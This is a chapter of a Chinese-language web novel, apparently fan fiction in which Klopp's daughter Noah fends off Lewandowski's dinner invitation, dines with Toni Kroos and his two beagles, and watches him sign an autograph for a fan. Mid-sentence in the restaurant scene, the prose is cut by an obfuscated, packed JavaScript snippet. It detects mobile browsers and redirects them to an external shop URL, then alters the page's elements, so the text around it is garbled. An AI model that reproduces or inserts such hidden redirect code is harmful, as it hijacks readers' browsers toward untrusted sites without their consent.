诺阿的母亲时常带着诺阿去盖尔森基兴的国际象棋俱乐部学习、比赛,对于那次诺阿被诺伊尔拐带的乌龙,她是中国人不像是恪守规矩的德国人一样看得过分在乎。 毕竟他们两个都是孩子、还是朋友,再加上诺伊尔父亲警察的身份。 诺阿母亲反而相信那次的事之后,她可以放心地让诺阿和诺伊尔成为朋友。 做母亲的总是希望自己的孩子能够遇到知心好友、一起陪伴长大。 再加上诺伊尔也和丈夫克洛普一样踢足球,未来还可能会成为职业足球运动员,诺阿母亲觉得两个孩子的友情很大概率可以维持很久…… 直到诺阿的母亲在和克洛普离婚后,经过好几年的思考最终还是决定带着诺阿回国。 八九十年代出国留学的人的确会觉得国外的生活比国内更好,但说老实话,随着时代的发展、国内经济持续向好。 诺阿母亲意识到未来的中国只会比国外变得更好后,就立刻决定带13岁的女儿回国。 那时诺阿在慕尼黑上学,就读于一所知名的文理学院,是天才班中的一员。 得益于德国完善的天才培养体系,诺阿可以更快速高效地学习不说,还能早早去到大学听课并参加考试,提前修学分用于未来申请学位。 这方便了诺阿跟着母亲回国后,可以直接进入国内的TOP大学就读。当然这里,也有诺阿在国际象棋上取得成就的功劳。 回国后她就以楚诺的身份作为中国棋手参加了不少国际象棋比赛。 不过就算这样,诺阿和诺伊尔之间的联系也没有因为两人身处异国而中断。 诺阿一年总会去几次德国看望父亲克洛普,而诺伊尔也会在德甲正式首发上场的赛季结束后,特意去中国看诺阿告诉她这个好消息和她分享。 9.第 9 章 克洛普给诺阿推荐了家传统的德国餐厅,诺阿看了下网上的评价还不错,打电话定好位置后,她把餐厅名字和定位都发给了克罗斯。 只是这会儿克罗斯应该还在睡觉,没有回复她的消息。 等到上午快结束的时候,莱万的身体测试终于结束,他来找诺阿一起去俱乐部餐厅吃午餐,下午还帮着诺阿溜了好一会儿的狗才还给她。 诺阿看了眼累趴在自己脚边,耷拉着大耳朵张开嘴哼哧哼哧喘气的两只狗狗,非常感谢莱万的热心帮助。 她能确定两只狗狗今晚不会还有精力半夜闹她和克罗斯了。 因为和克罗斯约好一起吃晚饭,今天诺阿并没有加班,她下班的时候带上莱万,先把他送回去。 车停在莱万的公寓楼下,他没有立刻下车,在谢谢诺阿送他回来后,为了让他接下来的邀请显得更自然。 莱万在低头摸两只狗狗的同时问诺阿,“晚上有空吗,我想我们可以一起吃晚餐,我给你和狗狗们都做点吃的。” “哇哦。”诺阿挑了挑眉,“我得承认这个邀请诱惑力很大,你怎么知道我正在想怎么解决我们三个的晚餐。” 诺阿的话让莱万露出笑容,一个颇为腼腆青涩的好看笑容。 他很高兴听到诺阿这么说,并且已经在想一会儿他要做些什么波兰特色菜给诺阿尝尝了。 至于狗狗们,他那儿鸡胸肉和绿色有机蔬菜也绝对管够。 “但是这个邀请能不能留到下次。”诺阿拒绝地很委婉,“今晚我已经跟朋友约好了。” “这样吗。”莱万稍稍有些失落,最后还是摸了摸两只狗狗,“当然可以,我的邀请什么时候都可以兑现。” “那太好了。”诺阿冲莱万眨了眨眼,“接受我随时突然出现在你家敲响门,说我饿了急需一顿波兰特色美食来填饱我的肚子吗?” 莱万必须得承认,刚刚他还失落的情绪瞬间被诺阿抚慰。 “当然。”莱万也冲诺阿眨了眨眼,“只要你想我随时都会是你的专属主厨。” 诺阿笑着说:“看来以后我得说服俱乐部额外给你加份工资了。” 莱万挑着眉勾起唇角找茬,“不该是你付给我工资吗?” 诺阿睁大眼睛不可置信地说,“天呐,你这个年薪一百万欧的人还要找我这个年薪顶多十万欧的人要工资吗?” 莱万开心地笑了,“是这样的没错,但我也接受除货币以外的任何东西作为你付给我的工资报酬。” “这听上去倒还不错。”诺阿看上去松了口气,“一个拥抱作为工资你觉得怎么样?” “非常不错。”莱万看向诺阿认真地说。 驾驶座的狭小空间里,两双颜色漂亮的澄澈眼睛对视着,一股暧昧氛围悄无声息地蔓延开。 看到莱万的认真眼神,诺阿觉得她和莱万的这段对话开始慢慢变得危险。 为了尽量不给自己找麻烦,诺阿选择赶紧结束这个话题,“好的,那么从现在开始我欠你一个拥抱。” “不过我得走了,我们明天见,罗伯特。” 莱万没有追得太紧,下车后他单手撑在车门上俯身看向诺阿,“明天见,诺阿。我也会记住我欠你一次晚餐,随时找我让我履行承诺好吗。” 诺阿就住在莱万的公寓附近,在送完莱万回家后,她只开了十多分钟回家去接克罗斯。 “你迟到了十分钟。”克罗斯拉开车门坐上副驾,“是伦诺克斯和朱利叶斯干了什么坏事吗?希望它们没有尿在你车上,不然我得送它们去狗狗学校复读了。” 两只狗狗本来很高兴见到主人克罗斯,他一坐上车它们就从扶手箱的空档窜到前排往克罗斯身上扑,伦诺克斯还直接坐到了克罗斯大腿上。 这是比格的屁股绝不落地原则。 但在听到学校这个词后,两只狗狗突然就不满地仰着脑袋werwer叫了好几声,像是在抗议一样。 它们可绝对没有尿在诺阿车上好不好!不要上学!不要复读! “没有。”诺阿觉得她有必要帮两只无辜的狗狗解释一下,“我刚刚先送了罗伯特回家,他就住我们附近。他刚来德国还没有考驾照,这段时间我都会带上他。” 因为诺阿在多特蒙德的教练组里工作,克罗斯平时也有关注多特蒙德的消息,他知道多特蒙德在今年夏窗签下一位来自波兰的前锋,罗伯特·莱万多夫斯基。 波甲克罗斯不了解,但多特蒙德在克洛普接手的这几个赛季飞速提升的积分让他相信。 莱万实力不差,不然不会被克洛普看中买下。 但是。 克罗斯调整了下座位靠背的角度。 要知道除了他,一般没人能坐上诺阿的副驾,更没人会调整他坐习惯的座椅位置。 意识到这点后,克罗斯对还没在比赛中遇到过的莱万生出几分莫名冷漠,他感觉有人入侵了他的领地。 克罗斯冷着脸,真心希望莱万能在德甲发挥出实力,不然说不定他们在比赛中都根本遇不到。 “这样吗。”克罗斯真心实意地祝福,一点嘲讽语气都听不出,“那我只能提前祝他不要连续考试三次还拿不到驾照了。” 在德国考驾照有五次机会,但要是前三次都不能通过,那就得去做测试证明没有什么智商或者心理问题,才能接着继续考。 诺阿没听出克罗斯这句话里暗藏的意思,她笑着说,“不可能的,怎么会有人连续考三次还拿不到驾照。” 诺阿自己就是一次性通过,她身边克罗斯也是。 所以诺阿真的不相信这么简单的考试,还会有人考三次还考不过。 诺阿开玩笑地说,“就是换成伦诺克斯和朱利叶斯去考,三次应该也够它们把驾照考下来了。” 有时候诺阿宽言宽语的程度一点不比克罗斯低。 但说真的,养狗之后诺阿是真觉得伦诺克斯和朱利叶斯非常聪明。 它们都知道乖乖听克罗斯的话,闹人都只挑诺阿来闹。 听到诺阿夸奖伦诺克斯和朱利叶斯很聪明,克罗斯露出笑容就像诺阿是在夸他一样。 克罗斯低头抱住怀里的两只狗狗摸了又摸它们,“听到了没有伦诺克斯、朱利叶斯,有人觉得你们就是世界上最聪明的狗狗。” “噢哦。”诺阿边开车边摇头否认,“我可没这么说,托尼。” “要是伦诺克斯和朱利叶斯听了觉得我在认可它们,今晚半夜还跑来闹我、把我房间门打开,你就准备接着半夜去遛狗吧。” 诺阿的话提醒了克罗斯,他想到因为狗狗们的折腾,昨晚诺阿跑来客房找他,最后两个人挤在一起睡了一晚。 克罗斯眨了眨眼笑着看向诺阿,漂亮透蓝眼睛里只有诺阿的存在,“我想我已经准备好了。” 诺阿:“……” 总觉得他们俩说的不是一件事…… 怎么会有人这么喜欢半夜溜狗啊? 说的就是你托尼·克罗斯! 终于到了餐厅,诺阿提前问过允不允许带狗狗用餐,对方说没问题。 因此他们今晚严格意义上算是次四人用餐。 老父亲克洛普的推荐很不错。 诺阿和克罗斯边吃饭边聊天,聊着聊着克罗斯就告诉诺阿,“我想去纹身,你觉得怎么样。” 纹身这件事对于外国人来说再正常不过,诺阿是中德混血,从小在德国长大生活,哪怕也回去过中国上学生活了几年,也不觉得纹身有什么问题。 “很好啊。”诺阿喝了口黑麦汁,“你想好纹什么了吗?找到合适的纹身师有稿子了吗?” 克罗斯没有把他想的具体说出来,只告诉诺阿,“想好了,但这是我昨晚冒出来的想法,还没来得及找纹身师,等过段时间说不定能找到合适的。 ” “看起来你已经计划好了。”诺阿没有多问,她和克罗斯都是因为各自的天赋,早早离家开始独立生活的人。 克罗斯十六岁独自来到拜仁青训,诺阿比他还要更早,十来岁就去到文理中学的天才班学习。 因此相比于同龄人,他们更清楚自己想要什么,更能自己坚定地为自己的人生做决定。 不过诺阿还是问了句,“需要我陪你一起去吗。” 克罗斯觉得诺阿的询问有些多余,他理直气壮地反问,“当然,你还打算不陪我一起去吗?” “……”诺阿叹了口气,有些没辙地看向克罗斯,偏偏他的蓝眼睛又是那样透蓝、神情那样认真地回看她。 诺阿承认她时常爱在口头上[欺负]克罗斯,但是看看吧,实际上她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17402206|199017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经常栽在克罗斯身上。 “我当然会陪你一起去。”诺阿的回答反击丝毫不逊色,“我这么问只是为了让你意识到,原来你干什么身边都有我悄无声息地缠着你这件事。” 诺阿形容得有些恐怖,但在克罗斯听起来,更像是对他们总是陪在彼此身边黏糊在一起的认可。 克罗斯轻轻耸肩,“哇噢,我的确才意识到。” “记得继续保持。” 克罗斯说得轻描淡写,如果忽略他不知道什么时候勾起嘴角、脸上露出的甜甜笑容的话。 的确是非常轻描淡写,一点都不得意爽得要命。 语塞的诺阿:“……” 就说她不是没原因总要在嘴上“欺负”克罗斯的。 看看吧,她也时常被克罗斯拿捏欺负啊! 吃完饭后,诺阿看着克罗斯叫来服务员结账,还说不需要找零剩下的是小费。 德国人的确爱AA,相当大一部分还是那种点的啤酒我只喝了一杯而你喝了两杯,所以啤酒的钱三分之一算我的、三分之二算你的这种AA。 但说真的,诺阿从没被AA过。 特别是和克罗斯一起时,他不会给诺阿任何付钱的机会。 甚至克罗斯还想要帮诺阿付房租。 诺阿非常困惑地拒绝了。 她能理解克罗斯会因为跟她是朋友,还早早成为职业球员薪水高,在两个人一起的时候总想着付账单。 但是克罗斯还想要帮她付房租算怎么一回事? 面对诺阿的不解克罗斯只是说,“我经常去找你住在你那里,所以严格意义上我们算住在一起,我想由我来承担房租也是应该的。” 诺阿疑惑,这到底怎么应该了? 克罗斯在慕尼黑、她在多特蒙德,并且他们一个是球员一个是教练组的人,都要错开时间去到不同地方比赛。 两个人在赛季时的见面,最勤也不过一周一次,一个月算下来总共也没几次。 这到底算什么合租啊。 诺阿毫不留情地拒绝掉克罗斯非常想帮她付房租的请求,没有任何商量的余地。 两个人吃完饭牵着狗狗们离开餐厅,刚走出来就和一个站在餐厅外不远处、看上去等了好一会儿的男人遇上。 男人看到诺阿和克罗斯后眼睛明显亮了起来,脸上也忍不住露出激动笑容,但还是相对克制地没有大步冲过来。 诺阿一看就明白了,她伸手将伦诺克斯的牵引绳从克罗斯手上拿过来,这样两只狗狗都是她牵着。 这么做完之后诺阿对克罗斯说,“去吧,他应该是你的球迷。” 诺阿和父亲克洛普一样,一直都认为球迷的支持对球员和俱乐部非常重要,父女俩总是尽可能地回馈着球迷对球员和俱乐部的热爱。 拜仁慕尼黑在联赛拥有着霸主一样的地位,据数据统计,整个德国每五个人里就有一个人是拜仁球迷,就算是在多特蒙德也不例外。 拜仁慕尼黑的球员也总是比其他俱乐部的球员受到更多关注、更多球迷的喜爱。 更不用说克罗斯出自拜仁青训、转租到勒沃库森后表现亮眼还帮助球队赢得一次德甲冠军,这个赛季还重回拜仁。 球迷知道分寸,宁愿孤零零等在外面也不想打扰克罗斯的个人生活。 克罗斯也愿意回应球迷的喜欢。 他走过去对男人说,“或许你想要我的签名吗?” 男人非常激动,立刻拿出一张克罗斯的照片,“当然,太谢谢你了克罗斯!我是你的球迷,抱歉打扰到你!” “你愿意给我签名真是太好了,希望你回到拜仁后表现得越来越好!我会一直支持你的!” 克罗斯低头一边给球迷签名一边说,“没关系,你没有打扰到我,感谢你的等待,我也希望回到拜仁后我可以表现得更好。” 球迷拿到克罗斯的签名后激动地恨不得立刻亲一口,但还是忍住了。 他想到克罗斯朝他走过来前,克罗斯身边诺阿最先注意到他。她将狗狗从克罗斯手里牵走,跟克罗斯说了什么后,克罗斯才朝他走来的一连串动作。 球迷忍不住问克罗斯,“抱歉克罗斯,我这么问很冒昧,但那是你女朋友吗?” 克罗斯跟着男人的目光回头看向诺阿。